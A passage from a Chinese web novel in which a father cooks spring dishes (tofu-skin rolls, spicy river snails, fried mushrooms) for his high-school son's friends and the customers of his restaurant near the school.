现挖的春笋清甜脆嫩，不做腌笃鲜都可惜了，楚易文先用砂锅将腌笃鲜炖上，随即开始做其他菜。 春韭炒河虾、凉拌马兰头、香椿炒鸡蛋、糖醋鱼、辣子鸡丁，还有荠菜春笋千张卷，今天的晚餐充斥着春天的气息。 楚易文先将荠菜、春笋焯水，焯完水的荠菜过凉水、挤干水分后切碎，春笋则是切成丝。 春笋、荠菜处理好，他拿出块肥瘦相间的猪肉切成肉末，起锅烧油先将肉末炒香，再加笋丝、香菇丁、豆干丁一起翻炒，只加盐、生抽等简单调味，关火后趁着余温加入荠菜搅拌均匀，随即用千张将馅料卷成一个个小卷。 随着楚易文将荠菜春笋千张卷放入蒸锅里，很快一股混着豆香、肉香、春笋与荠菜清香的气息源源不断飘出来，香味清新诱人。 “好饿啊，要不我们吃完饭再继续写吧。”胡一齐闻见香味感觉肚子饿了，顿时就不想再写作业。 楚瑾钰：“我爸还没喊吃饭呢。” 他其实也不想写，但听到胡一齐这么说，就想跟他反着来。 他们俩一言不合又开始拌嘴时，商时贸加快书写速度，两分钟后放下笔：“我写完了。” 旁边邵言易其实比他还先写完，只是不想打扰其他人，便拿着课本在复习，此时听到商时贸写完了，不由抬头看向自己同桌。 “你怎么写那么快！”楚瑾钰说完看向邵言易，“你也写完了？” 邵言易点头的同时，叶其林一把将笔丢开：“我也写完了，真是不容易啊！” 写完作业叶其林有种无事一身轻，浑身都轻松的感觉，心情那叫一个好。 眼见他们全都写完，原本还在磨蹭的楚瑾钰立刻就有了紧迫感，顾不上再和胡一齐拌嘴，低头重新沉浸到题海中。 他和胡一齐老实地写作业时，商时贸起身溜达进厨房，本来是想看看有没有需要帮忙的地方，结果被楚易文投喂了一个刚出锅的荠菜春笋千张卷。 浅黄色的千张经过蒸制带着水润光泽感，透过薄薄的皮隐约能看见荠菜的绿意。 等商时贸咬下第一口，翠绿的荠菜、乳白色春笋、深褐色的香菇、浅褐色肉末，馅料的颜色完全暴露出来，配上荠菜特有的清香，仿佛千张将整个春天都卷进去，又被他吃进嘴里。 千张皮柔嫩的豆香和内馅的鲜美相融合，味道特别丰富。荠菜特有的清鲜、春笋的鲜甜脆嫩再配上肉末和香菇不同的鲜味，简直好吃到能把人眉毛给鲜下来。 “好吃！”商时贸咽下嘴里的千张卷，感觉唇齿间依旧残留着一股清香，令人回味无穷。 同样是用荠菜做馅，和油炸的春卷比起来，千张卷整体味道更清淡些，但由各种食材组成的清鲜感，不光带着满满春天的气息，甚至鲜过虾蟹。 胡一齐耳朵是真尖，商时贸声音明明不大，他还是听见，立刻抬头问：“什么好吃？商时贸你在吃什么？” 声音传到厨房，别说商时贸有些无语，楚易文都有些哭笑不得。 商时贸：“你赶紧写作业，马上就要开饭了。” 他说完继续吃起来，很快就吃完整个千张卷，感觉还有些意犹未尽。 千张这种食物他以前其实不是很爱，总感觉多吃两口就有股说不上来的豆腥味，但此时的千张卷他却是完全没吃出来，只感受到千张的柔韧感和浓浓豆香。 “来，再吃一个。”楚易文见他吃得挺快，立刻继续投喂。 “谢谢楚爸。” 商时贸还挺享受这种被单独开小灶的感觉，用碗接过千张卷继续吃起来，边吃边夸：“楚爸你做的千张卷真好吃……” 可能是被香味馋到，胡一齐和楚瑾钰效率瞬间上来，还真让他们赶在吃饭前把作业给写完。 “终于解放了……”楚瑾钰放下笔后感觉神清气爽，食欲都瞬间上来。 今天的晚餐很有春天特色，不论是色和香都特别诱人，开饭后盘子里菜在快速减少。 “没想到千张还可以这么吃，配上里面的荠菜、春笋，好好吃啊！” 终于吃上晚饭，胡一齐嘴巴就没停过，不是在吃就是在夸。 千张卷食材丰富，但组合起来的味道却不杂乱，简单的调味突出食材的本味，吃起来软韧、脆嫩、鲜香美味。 平常楚瑾钰更爱吃辣口，但今天这道千张卷却是好吃到他心坎里，那软韧鲜香的滋味，好吃到有点上瘾。 “爸，这个好吃，下次可以继续做吗？” “行啊。”千张卷做起来又不难，楚易文见儿子爱吃，直接答应下来。 邵言易：“叔叔，你做的凉拌马兰头真好吃，一点都不苦。” “喜欢吃就多吃点。”楚瑾钰笑着道。 晚上这顿算是春日宴，由于食材大部分是他们亲自劳动所得，几个孩子吃得格外香。 晚餐结束时间已经不早，楚易文开始送他们回家，送完他去书房剪视频，楚瑾钰则是趁着离睡觉时间还有两个小时，赶紧玩游戏。 等楚易文将今天拍的视频素材剪好发出去时，评论区很快就热闹起来。 【太爽了吧！我也好想出去春游……】 【我今天也和家里人一起去挖春笋和野菜了，但做出来的野菜特别苦，都浪费了。】 【好羡慕啊，我也好想有这种会做饭，脾气还好的爸爸。】 【果然好丈夫好爸爸都是别人家的，今天周末，我想让老公和我一起带孩子出去玩，根本叫不动他。】 【老板，明天可不可以做那个千张卷？看起来好好吃，我好想吃啊！】 【好漂亮的千张卷，又是荠菜又是春笋又是香菇，感觉把整个春天都卷进去了，好想知道是什么味道。】 【凉拌马兰头看起来好好吃啊，头一次发现素菜还能这么诱人，馋死我了。】 【老板求求你了，明天可以把这些菜在店里做一遍吗？我也好想尝尝春天的味道。】 【那个荠菜春笋千张卷还有凉拌马兰头、香椿炒鸡蛋我是真想吃，老板你明天能做吗？】 之所以网友们都会被馋成这样，不光是楚易文做的菜色香味俱全，还因为他视频中将春天的美好都拍出来，尤其是几个孩子们挖掘野菜的过程，特别有感染力。 并不是所有人都能在美好的春天出去感受大自然的气息，因此他们都想通过美食来体验这个美好的季节。 次日早上。 “爸，班级群好多同学都在说想吃你做的千张卷、凉拌马兰头……” 楚瑾钰早上起床时刚拿起手机就发现群里有好多@自己的消息，本来还疑惑是什么事，点进入才知道，原来是昨晚他爸发的视频馋到好多同学。 “那你今天还想吃吗？”楚易文边将早餐端出来边问。 楚瑾钰低头吃了口香喷喷的鸡蛋面后点头：“可以啊。” 见他不介意继续吃千张卷，楚易文将他送到学校后立刻就去采购食材。 昨天他们挖的野菜确实不少，但一部分已经吃掉，剩下的可不够在店里卖。这个季节春笋、荠菜、香椿倒是不缺，就是马兰头他没买到，菜市场里的人表示他需要的话要等两天。 楚易文买好食材到店时，学校里，下课时间不少同学都开口找楚瑾钰聊天。 “好羡慕你啊，感觉你爸怎么什么都会做，昨晚刷到他发的最新视频时，馋得我做梦都是他做的那些菜。” “我也是，昨晚我做梦梦见自己一直在挖笋。” 楚瑾钰听到同学们羡慕的声音，心情很是愉悦：“我早上看到你们在群里发的消息了，已经跟我爸说了，他今天会做千张卷。” “楚爸做的千张卷贼好吃，那鲜味，简直不知道怎么形容。” 胡一齐话落，语文老师正好从教室门口进来，闻言直接道：“让你平时不好好学语文，现在书到用时方恨少了吧。” “不知道怎么形容怎么不算一种形容。”胡一齐替自己挽尊。 班上其他同学听到这话，不由都笑出声来。 此时离上课时间还有两分钟，语文老师没再继续说胡一齐，而是问起千张卷，得知是胡一齐他们昨天去挖荠菜、春笋，楚瑾钰他爸给做的荠菜春笋千张卷，光听名字就感觉肯定好吃。 语文老师面上不显，心里已经在算起来，确定自己最后两节没课后，决定中午得去盲盒餐厅尝尝。 等她上完课回到办公室，石老师走过来道：“跟你商量个事……” 听到他想跟自己换课，还是用换上午最后一节课换下午第一节，语文老师灵光一闪道：“你换课该不会是要去盲盒餐厅吃饭吧？” 石老师没吱声，但脸上那“你怎么知道”的表情已经说明一切。 “不换。”语文老师见还真让自己猜对了，直接拒绝。 石老师：“不换也行，你帮我带一份饭，下次我有空也帮你带。” 语文老师想到盲盒餐厅里的家长，忽然又改变主意：“那还是换课吧，换完你帮我带饭。” “行。” 两位老师商量好，于是楚瑾钰他们班最后一节从生物变成语文。 “这节不是生物课吗？” 生物老师风趣幽默，比起语文课，学生们还是更喜欢上生物。因此在看到语文老师进教室时，同学们立刻开口，怀疑语文老师是不是记错课程表了。 “我和石老师换课了。”语文老师说完，让学生们将课本拿出来。 胡一齐：“老师你糊涂啊，石老师肯定是为了去盲盒餐厅吃饭才忽悠你换课，你怎么就答应了。” “老师糊不糊涂不用你操心。”语文老师道。 这边开始上课时，学校外，石老师早在半个多小时前已经来到盲盒餐厅。 店里很大一部分顾客都是高三家长，为了让孩子在关键期能吃好吃饱，每天按时按点过来，比上班还准时。 这些家长中认识石老师的不少，看到他纷纷围过来，开口询问自家孩子的成绩。 而原本不知道的家长在询问石老师教的班级后，立刻也凑过来，一时间店铺角落变成小型家长会。 “老师，我们家思语……” 石老师扯着笑容一一回答，心里算是明白语文老师为什么会改变主意答应和他换课了。 最终解救他的是厨房越来越浓郁的香味，以及楚易文开始往外端菜的动作，今天中午有顾客们想吃的荠菜春笋千张卷和香椿炒鸡蛋，那股特殊的清香，让家长们注意力瞬间被转移到吃上。 “哇，这荠菜春笋千张卷比视频里看着还要诱人！”小月今天运气不错，难得排在第一位，望着盆里诱人的千张卷发出感叹声。 她说话的同时，旁边箐玥正在举着手机拍视频，显然她们是真准备吃短视频这碗饭。 第96章 炸蘑菇 店里顾客们已经有不少开始吃饭时, 学校大门口，一堆学生正往这边来。 “石老师，你果然跑来吃饭了！” 楚瑾钰他们进入店内时, 胡一齐眼尖地看到还在排队的石老师。 “这话说的，我难道不能来吃饭吗？”石老师道。 浓郁的饭菜香扑鼻而来，胡一齐闻着味就感觉饿了，直接跑进厨房端饭去，倒是叶其林停下脚步道：“所以这就是你和语文老师换课的理由？” 石老师作为老师，自然不会承认自己换课是为了来吃饭，直接甩锅道：“是你们语文老师下午有事, 所以我才和她换课。” 好在叶其林就是随口说说，闻言点点头就也跑进厨房里去。 “胡一齐你能不能讲点好？”叶其林刚进来就看到胡一齐用手拿着个荠菜春笋千张卷在吃，没好气道。 胡一齐：“我洗过手了。” 商时贸和叶其林异口同声道：“洗过手也不行。” 他们说话间很快饭菜全部端上桌, 经过一上午学习，楚瑾钰几人早就饿了，端起碗吃得那叫一个香。 他们昨天已经吃过香椿炒鸡蛋这些菜, 今天依旧感觉很好吃，店里其他顾客就更不用说。 “荠菜香味好浓郁, 果然这就是新鲜和速冻的区别，家里买的荠菜饺子根本没这个味。” “确实，吃起来特别爽口。” “千张皮我以前是真不太喜欢吃，没想到做成这种卷还挺香。” 千张价格便宜, 好多饭店做酸菜鱼、排骨煲之类的菜时都喜欢将千张放到底下当配菜，吃多了是真没人喜欢。 但荠菜春笋千张卷就不同，薄薄的千张吃起来有豆香而无豆腥气，口感带着韧劲，配上里面馅料, 简直令人欲罢不能。 “好吃，真好吃！” 顾客们从香椿炒鸡蛋和荠菜春笋千张卷里感受到满满的春天气息时，还有人在惦记凉拌马兰头。 楚易文边打饭边道：“没买到食材，你们想吃的话可能要等两天。” “老板，清明马上要到了，是不是可以做田螺吃？” “我也想吃田螺！” “老板，清明前后的田螺错过就要再等一年……” 眼见话题忽然从凉拌马兰头转到田螺上，楚易文有些哑然失笑，不过还是答应下来，表示过段时间就做。 等到他卖完中午的饭菜时，楚瑾钰开口道：“爸，我也有点想吃香辣田螺了。” 不提田螺还好，一提他就想到田螺那香辣鲜美的滋味，瞬间就馋起来。 顾客们说一百句，都不如他说一句，楚易文闻言直接点头：“行，那等有空我去买点田螺回来先养着，吐完沙就做。” 接下来顾客们倒是挺有口福，先是吃到心心念念的凉拌马兰头，接下来又吃到油焖春笋、香椿蒸蛋……一系列春日限定美食，让所有顾客都感受到春天的美好。 尤其是高三生们，每天上课产生的学习压力，都在吃饭时被不同的美味给抚平。 三月底，田螺大量上市，楚易文买了好多回来先养在店里吐沙，吐干净后开始剪田螺尾巴。 田螺好吃，但处理起来是真不容易，吐沙就先不说，光是剪田螺尾巴就很费劲。家里吃倒是还好说，要卖给顾客吃，楚易文可不准备自己慢慢剪，直接花钱让李老太太请了些认识的老太太过来帮忙剪田螺。 楚易文给钱给得大方，老太太们接到活都很高兴，上午就跟着李老太太一起到店里来。 “你运气可真好，找到这么好的工作。” 几个老太太围在一起剪田螺，边剪边闲聊，都很羡慕李老太太这么大年纪还能找到工作。 “有好事我不也想着你们了。”李老太太说完又补充一句，“你们可得好好剪，剪干净点，这都是给学生们吃的。” “你看我剪的，保准都是干干净净的。” 剪好的田螺被丢进盆里，螺壳碰撞间发出清脆的声音，听起来有点悦耳。 就在老太太们忙着剪田螺时，陆续有顾客进门，看到那么多田螺眼睛立刻亮起来。 “太好了，今天有田螺吃！” “这田螺洗得还挺干净，看着就放心。” 小月今天和爷爷、箐玥一起过来，看到那么多田螺，好奇心直接上来，蹲到盆边说：“奶奶，可以让我剪一下吗？” 李老太太见她对剪田螺感兴趣，直接把手上钳子递过去，并提醒她小心点，别剪到手。 田螺壳还挺硬，别看老太太们剪起来好像挺轻松，真上手后小月才发现，剪这玩意有点费劲。 “不好剪，有点费手……” 小月才剪十来个，就感觉手心有点疼，箐玥闻言将拍摄的手机递过去：“让我试试。” 像她们一样有好奇心的顾客还不少，当然还有一部分纯粹是闲着没事干，想着早点剪完老板能早点做，于是纷纷围过来帮忙剪。 隔壁文具店王老板甚至自带工具和小板凳过来，觉得在这里和大家聊聊天，比在自家店里干巴巴坐着要有意思的多。 吴煦旭过来时就看到一堆人在帮忙剪田螺，他站在旁边围观着，在有人手酸剪不下去时，直接伸手接过钳子。 人多干活就是快，十点半还不到，满满三大桶田螺全部被剪出来。 “终于剪完了！” “中午是不是可以吃田螺了？” “剪完了？”楚易文听到动静都忍不住出来看一眼，发现还真全部剪完了。 他原本没指望老太太们能那么快剪完，想着剪出来多少就做多少，谁知道顾客们竟然帮着把田螺给全部剪出来。 “老板，剪好的田螺是不是还要洗一下？” 楚易文：“待会先拿葱姜料酒焯水，再用温水洗几遍，放心，会处理干净再做。” 他说完，刚要将田螺拎进厨房，结果几个顾客直接帮他搬进去。 厨房里已经做好几道菜，香味那叫一个诱人，顾客们进去差点舍不得出来。 “除了田螺，中午还有红烧鸡翅、肉末茄子。” “我感觉已经饿了。” 顾客们在店里期待着午餐时，楚易文望着那么多田螺，加快速度开始焯水。 其他老太太已经拿到工钱高兴地回家去，李老太太则是进入厨房帮忙，楚易文焯好一锅田螺，她就用温水仔细清洗。 大火烧开将田螺焯几分钟时，田螺里面的杂质会从剪开的螺尾被煮出来，经过温水充分的清洗，残留的杂质和腥味基本上全部消失。 田螺全部清洗干净，楚易文开始炒香底料，一股香辣气息从锅里飘出来，很快飘到店内顾客鼻子里，简直能馋死个人。 光是炒底料香味就已经很浓郁，等到田螺下锅翻炒上色开始焖煮时，河鲜特有的香味混着调料的麻辣鲜香，令人垂涎欲滴。 “肯定是在炒田螺，太香了！” “好饿，想吃饭……” 田螺的香味霸道而浓烈，花椒和干辣椒产生的麻辣香，八角、香叶等香料带来的复合香气，葱、姜、料酒带来的辛香，食材本身的鲜香，各种香味交织在一起，组成一股特别勾人食欲的香气。 楚易文没想到顾客们会帮忙剪田螺，以至于现在同时开两个锅让田螺继续焖煮入味，自己则是重新起锅做下一道菜。 要做的田螺实在太多，导致今天放学铃声响起时他还在炒田螺，直到将最后一锅田螺焖在锅里，才转身将饭菜往外端。 “老板，你今天迟到了。”有顾客笑着跟他开玩笑。 楚易文：“还不是你们，把田螺都给剪了，我煮了好几锅才煮完。” 之前帮忙剪田螺的顾客闻言嘿嘿笑起来，笑完表示：“老板，我们剪了那么多田螺，多买一份不过分吧？” “放心，今天田螺绝对够多。”楚易文笑着道。 青黑色田螺卧在红亮油润的汤汁中，里面还夹杂着干辣椒等调料，卖相十足，田螺壳上裹着的红色汤汁，让人特别想吮一口尝尝是什么味道。 “看，香辣田螺，卖相诱人就算了，田螺肉眼可见的干净。” 小月买完饭对着镜头展示，说完看向已经开吃的爷爷：“爷爷，你觉得田螺味道怎么样？” “好吃，特别香。”别看黄老爷子年纪大，吃田螺还挺厉害，轻轻一吸就吃完一个。 浓郁的汤汁在嘴里蔓延开，香辣咸鲜的味道配上有嚼劲的螺肉，越吃越有滋味。 之前小月和箐玥两个人拍盲盒餐厅的美食视频，流量有，但不算多，某天他爷爷露脸后，那个视频忽然火了，于是现在她就拉着爷爷一起拍视频。 和爷爷比起来，小月就有点菜，她压根学不会直接吸螺肉，只能捏着牙签慢慢挑，爷爷吃三个的工夫，她才成功吃到一个，这对比，实在有些好笑。 “太好吃了，你说这田螺肉也不多，怎么吃起来这么过瘾！” 田螺的美味，吃的就是那口配着汤汁的鲜味，先吮壳上的汤汁，再吃里面的肉，吃起来简直令人上瘾，根本停不下来。 吴煦旭兄妹都属于不会吸田螺那类人，哪怕旁边有顾客给他们示范，他们还是学不会，在吸螺肉没吸出来，差点被汤给呛着后，老老实实用牙签挑着吃。 一手捏田螺，一手捏牙签，这样螺肉倒是进嘴了，却无法同时吃饭，吴煦琳还讲究点，吃几个螺肉就放下牙签握着筷子吃饭菜。 吴煦旭可能是嫌麻烦，直接用手抓着鸡翅啃，甚至还想用手直接抓米饭。 “哥你能不能讲究点……”吴煦琳觉得这好歹是在外面，又不是在家里。 吴煦旭：“又不是我一个人这么吃。” 吴煦琳闻言视线扫过店里，发现还真不是他一个人这么吃，顿时有些无语。 其实也不怪吴煦旭他们，主要田螺好吃，其他菜同样好吃，在都想吃的情况下，直接用手最方便。 “好久没吃田螺，早就馋这一口了。” “我也是，外面的田螺想吃又不敢吃，还是老板这的田螺吃着放心。” “确实，老板这田螺处理得真赶紧，吃起来完全没有泥腥味。” “我看过老板去年发的视频，他做田螺特别讲究，先放在水里吐沙，再剪尾巴，再焯水，最后还要用温水清洗几遍才开始做。” “听起来就麻烦，怪不得吃着一点腥味都没有。” 食材处理得好不好，顾客只要嘴巴没问题都能吃出来，此时他们边吃边夸，好多人都后悔没多买点。 何止他们爱吃田螺，连小朋友都被田螺的香味给吸引，吵着要吃。 “这个很辣，你吃不了的。” 香辣田螺要有辣才够味，店里基本都是三岁以下的小朋友，家长哪敢给他们吃。 然而有些小孩就是天生犟种，你不给他吃他非要，家长被吵得没有办法，只能用汤过一遍再给他。 田螺经过焖煮，汤汁已经完全煮进肉里，咀嚼间依旧有辣味传出来，特别有滋味。 螺肉里带的辣对大人来说不算什么，却能让小孩子的脸很快被辣红，发出“嘶哈”声。 “我就说很辣吧，你还要不要吃？” “不辣，我要吃！” 才三岁不到的小不点，明明脸都被辣红，还硬撑着说不辣，那嘴硬的模样，惹得周围顾客都忍不住笑出声。 对于这种嘴硬的小朋友，家长也不洗田螺了，直接喂一口带汤的田螺，直接把他给辣哭。 “嘶……呜哇……辣……呜呜……” “这真是亲妈，笑死我了。” “来这吃饭也太有节目了，前有小孩被馋哭，现在又有小孩子被辣哭，哈哈哈！” 小孩哭起来声音可不小，楚易文都听见动静，得知是有小朋友非要吃田螺被辣到，不由开口提醒店里的家长，表示田螺比较辣，还是别随便给孩子吃。 旁边楚瑾钰听见他爸的话，对商时贸道：“看来论吃辣的话，你可以和小孩坐一桌。” 看得出来楚瑾钰是真不怕辣，说完继续吃田螺，一个接着一个，嘴巴就没停过。 “滚，我又没被田螺给辣到。”见他又打趣自己吃不了辣，商时贸斜他一眼。 胡一齐：“楚爸做的田螺真好吃，吃起来太过瘾了，尤其是这口汤……” 他说完又捏起一个田螺，轻轻一吮，满口的汤汁又辣又鲜。 他们这边桌上已经堆起好多田螺壳时，楚易文暂停打饭将厨房里那锅香辣田螺盛出来。 “哇，竟然还有！” 排在后面的顾客看到刚出锅的香辣田螺，发出高兴的声音。 托上午那些帮忙剪田螺顾客的福，今天中午只要来排队的人都买到田螺吃，甚至最后其他饭菜卖完，田螺还剩小半盆，被顾客们抢着买走。 楚易文将空盆送进厨房里时，就看到自家儿子和胡一齐他们已经吃完饭，但嘴巴还没闲着，在继续吃田螺。 “喜欢吃我下次再做，别把自己撑着。”他边坐下来吃饭边说。 楚瑾钰：“田螺没多少肉，不占肚子。” “楚爸，我可以带点去学校当零食吃吗？”胡一齐显然是看到厨房里还有，所有才会这么说。 楚易文：“想吃就带，只是上课别吃，味道太重了会被老师发现。” “知道了。” 今天吃到香辣田螺的学生不少，有些没舍得吃完，和胡一齐一样带到学校里，那股麻辣鲜香味，简直比什么零食都要馋人。 喜欢田螺的人其实挺多，但平常考虑到卫生问题，好多人爱吃也不敢随便在外面买田螺吃。现在发现盲盒餐厅的田螺又干净又美味，顾客们下午来店里发现没有田螺，纷纷嚷嚷着没吃够，还想吃。 “老板，只有你家田螺我能放心吃，你就再做点吧，我可以过来帮忙剪田螺。” “老板求求了，我好不容易能放心大胆地吃回田螺，你就多做几天吧。” 不光店内老顾客们纷纷喊着要吃田螺，网上，楚易文的视频底下，好多本地网友都在问他还做不做田螺，表示要过来吃。 在顾客们的强烈要求下，最终楚易文隔两天卖一次田螺，一直卖到清明节。 距离今年高考还有两个月，清明节楚瑾钰这帮高三学生只有可怜的一天假，而且还得在家复习。 过年时楚易文父子二人已经回老家扫过墓，今年清明他们不用再回去。由于下雨的缘故，清明当天楚易文没出去钓鱼，除了做饭剪视频外，剩下的时间都拿着书坐在旁边陪儿子写作业。 楚瑾钰如今作业都是自己做，没再抄过别人的，但每次开始写作业时，他心里都多少有点小烦躁。 万事开头难，随着他认真写了会后，那点烦躁终于消下去，尤其是余光看到坐在旁边的父亲时，楚瑾钰慢慢沉浸到学习的海洋中。 如果说上课时间度日如年，那么假期就总是匆匆流逝，楚瑾钰一觉醒来，次日又要去学校上学。 和他比起来，高一、高二学生就要幸福得多，还能享受两天假期。与此同时，他们还能趁着放假，到盲盒餐厅来吃饭。 昨天断断续续下了一天雨，今天外面地还是湿的，楚易文将儿子送到学校就熟门熟路去采购食材。 今天菜市场的平菇很新鲜，楚易文视线落到平菇上，立刻就直接全买下来，准备做前几天刚学会的炸蘑菇。 新鲜的平菇不光煮汤喝特别鲜，挂上面糊用油一炸，高温将菌菇特有的鲜味激发出来，想想就很美味。 回到店里楚易文先将汤和其他费时间的菜做上，随即就开始处理平菇。新鲜饱满的平菇散发出淡淡清香，手指拂过能感受到恰到好处的湿润度，平菇清洗干净后，他握着刀快速切掉根部多余的杂质，顺着平菇的纹理将它撕成条状。 楚易文动作麻利而迅速，很快面前就撕出两盆“小雪山”一样的平菇条。 水分是酥脆的天敌，在给平菇条裹粉前，他先用盐将多余水分杀出来，随即开始调面糊。面糊调好，他将挤干水分的平菇倒入面糊中，保证每根平菇都均匀挂上糊糊。 平菇挂好糊，楚易文起锅烧油，六成油温时转中火，开始将蘑菇条依次下入锅中。随着“滋滋”油泡声响起，蘑菇条表面的面糊开始凝固、定型，颜色逐渐变成浅金色，一股油炸特有的焦香和菌菇鲜味缓缓飘出来。 平菇炸完第一遍形状已经出来，等到油温升至八成热时，楚易文开始复炸。“滋啦”声响起，蘑菇颜色由浅金色变成金黄色，看起来更加酥脆，随着他将炸好的蘑菇捞起，一股浓郁香味飘到店里。 高温将蘑菇特有的鲜香完全激发出来，配上面糊被炸脆产生的焦香，特别勾人食欲。 “老板在炸什么？好香啊！” “这香味……太馋人了！” “是炸蘑菇吗？一股浓郁的蘑菇香，好饿啊……” 顾客们被馋得纷纷伸长脖子往厨房看时，厨房内，楚易文将蘑菇复炸完，趁热撒上秘制调料，随着辣椒面、孜然粉等调料落在金黄酥脆的蘑菇上，蘑菇表面的热意激发调料香，一股更加浓郁的香味立刻飘出来。 就在顾客们快要被这股香味馋死时，放学铃声终于响起，店内的高一、高二学生们一个个兴奋得不行，尤其是想到高三生们今天还在学校里苦哈哈上课时。 排在最前面的就是几个学生，当楚易文将炸蘑菇端出来时，那金灿灿的颜色，以及撒在蘑菇上的各色调料，让学生们不约而同发出“哇”的一声。 炸蘑菇看起来干爽蓬松，面糊薄厚恰到好处，仿佛给蘑菇裹上层酥脆的盔甲，完美的复炸流程让它看起来并不油腻，散发出诱人的香气。 “我要这个炸蘑菇！” “看起来好好吃啊！” 油炸食品本就受学生们欢迎，更别说是这种色香味俱全，一看就好吃的炸蘑菇，随着楚易文开始打饭，排在前面的学生们抢着要买炸蘑菇。 第一个学生将午餐拿到手，往旁边挪两步就直接低头用嘴叼了个炸蘑菇，咬下去时那声“咔嚓”的脆响，引得还在排队的顾客纷纷看过来。 第97章 猪油拌饭 炸蘑菇的外壳极其酥脆, 咬下去时一股浓郁焦香蔓延开来，同时尝到内里异常鲜嫩多汁的蘑菇，两种不同口感形成鲜明对比, 再配上调料的香辣咸鲜，简直能香死人。 “太好吃了！” 蘑菇本身的鲜味被油炸的高温完全激发出来，配上面糊的焦香酥脆，调料的咸鲜微辣，吃起来让人有些上瘾。 第一个买到饭的学生感叹完，边坐下来边握着筷子连塞两个炸蘑菇进嘴，那浓郁的香味, 那外酥里嫩的口感，好吃到令他陶醉。 闻着炸蘑菇的香味，看着那金黄酥脆的卖相, 再听着他吃炸蘑菇时发出的“咔嚓”声，还在排队的顾客忍不住开始咽口水。 “老板快点，我要饿死了。” 受不了馋的顾客开始催促起来, 恨不得立刻就轮到自己买饭。 “好。”楚易文应了一声，手上动作不自觉加快。 随着越来越多顾客买好饭, 店里一群人吃炸蘑菇发出的酥脆声响，听着就很馋人。 “怎么会有这么好吃的东西，太香了！” “好脆好嫩啊！酥脆的外壳和鲜嫩的蘑菇，简直绝了！” “这才是我想吃的炸蘑菇, 太香了，真的好好吃啊~” 刚炸好的蘑菇那叫一个香，油炸的焦香加菌菇特有的鲜香加调料的咸鲜微辣，好吃到让人想哭。 “要是能天天吃到这么好吃的饭菜，都不敢想我有会幸福！”有个高二学生吃着美味的炸蘑菇, 忍不住发出感叹。 同桌另外一个学生闻言叹气道：“要是这家店开在食堂里该多好啊，就不用和那么多人抢了。” “开在学校里也没用，咱们学校那么多人，照样有得抢。” 对比这些只能趁放假才有时间过来排队吃饭的学生，楚瑾钰他们是真的很幸福。 他们挤过人群来到店里面，洗个手就能直接吃饭。 胡一齐：“好香好脆啊，唔，里面蘑菇一咬还有汁水，太鲜了，我的天，这炸蘑菇感觉比肉还好吃！” “这才是真正的炸蘑菇，外面卖的炸蘑菇全是面糊，都咬不到多少蘑菇，难吃得很。”叶其林吃着香而不腻的炸蘑菇，想到以前在外面买过的炸蘑菇，忍不住吐槽。 楚瑾钰：“确实，搞不懂他们为什么要裹那么厚的面糊，我爸炸的这种薄薄一层才好吃。” “应该是想节约成本，毕竟面粉比蘑菇要便宜很多。”邵言易道。 蘑菇天然的鲜味经过油炸后更加突出，与面糊的焦香和调料味形成完美平衡，别说胡一齐吃得停不下来，就连平时会刻意谦让，不和他们抢菜吃的邵言易都吃得有点上瘾。 “老板，你这炸蘑菇是怎么做的？怎么会这么好吃？” “是啊，太香了，而且还不腻，吃得我还想吃。” 有吃完炸蘑菇感觉意犹未尽地顾客忍不住开口询问，同时还在回味嘴巴里的余味。 “晚上我把视频剪出来，感兴趣的话你们可以自己在家试试，不难。”楚易文边继续打饭边道。 “老板，你的不难和我们的不难根本不一样。” “就是，老板上次的香辣田螺你也说不难，但光是处理食材就麻烦得要命，更别说后面炒底料，差点没把我给呛死。” “老板有没有一种可能，你觉得不难是因为你手艺好？” “真不难，就是把蘑菇裹上面糊油炸就好了，油温掌握不好的话可以用温度计。”楚易文说完又补充道，“当然，想要蘑菇炸出来干爽酥脆，前面给蘑菇杀水分很重要，尽量把多余水分都挤出来，然后就是挂糊，面糊要不厚不薄……” 顾客们听到他前面几句时，个别人真信了他的邪，然而听到他把话说完，已经听得有点晕。 “太麻烦了，老板你别说了，我是不会自己去做的，还是你多做点吧。” “这根本不简单，我还是直接吃现成的吧。” “怪不得老板你做的炸蘑菇这么好吃，也太讲究了。” 听起来好像就是把蘑菇挂糊用油一炸，但真要做起来给蘑菇杀水、调完美的面糊、挂面糊的薄厚、油温的把控、复炸的时间和技巧，想想就很麻烦。 楚易文好心想教会他们，然而听完他的炸蘑菇教程，顾客们纷纷打消自己做的想法，让他感觉有点无奈。 不过当天晚上，他还是将炸蘑菇的视频剪出来发到账号上，那金黄酥脆，点缀着各色调料的美食封面实在太诱人，别说粉丝，就是没关注他的人刷到视频都忍不住停下观看。 视频最开头展示着一盘刚炸好的蘑菇，隔着屏幕都能感受到它刚出锅时带的锅气，蘑菇表面金黄色面衣看着特别酥脆。 【深夜放毒，太过分了，哪里能买到这种炸蘑菇？（口水）】 【大晚上的馋死人了，好想吃炸蘑菇，那层薄薄的面衣看着就特别酥脆。】 【冰箱里没有平菇，倒是有杏鲍菇，我现在就去试着做一下。】 【就是这种炸蘑菇，我想吃的就是这种面衣薄薄的，里面蘑菇咬上去会有汁水溢出来的感觉，呜呜呜，我好想吃啊，老板你能不能来我家楼下开个店，专门卖炸蘑菇……】 【嘿嘿，今天去店里吃到炸蘑菇了，不光看起来香，闻起来更香，不光闻起来香吃起来更香，焦香酥脆的面衣和鲜嫩多汁的蘑菇简直是绝配，而且百吃不腻。［图片］】 【跟着视频学了一下，做出来的卖相差了点，但味道还挺香，至少比外面卖的好吃［图片］】 【看到视频时:你在试图教会我吗？ 看完视频实在太馋，跟着学习后:太厉害了，你真的教会我了！】 次日早上楚易文起床顺手刷了下手机，发现昨晚有不少吃货根据视频做了炸蘑菇，顺手给交作业的粉丝点了个赞当作鼓励。 今天又是他做完早餐去房间喊楚瑾钰出来吃饭，楚瑾钰边吃边发出羡慕的声音：“好羡慕高一高二的人啊，他们今天还在放假。” “不用羡慕，他们也迟早会有这天。”楚易文边往他碗里夹了两个生煎包边安慰道。 楚瑾钰：“我现在甚至恨不得赶紧高考完拉倒，就不用天天这么死命学了。” “再坚持两个月你就解放了。” 听到老爸的宽慰，楚瑾钰点点头，话题转到早餐上：“爸你做的生煎包真好吃，尤其是这个豆腐馅的。” “我还以为你会更喜欢吃萝卜的。”楚易文笑着道。 他早上做了豆腐、萝卜丝、鲜肉三种馅的生煎包，其中萝卜丝馅是辣口的。 “萝卜的也好吃，只是豆腐的我以前没吃过，感觉很新鲜。” 楚瑾钰很快吃完早餐，还用保鲜袋给胡一齐他们带了点。 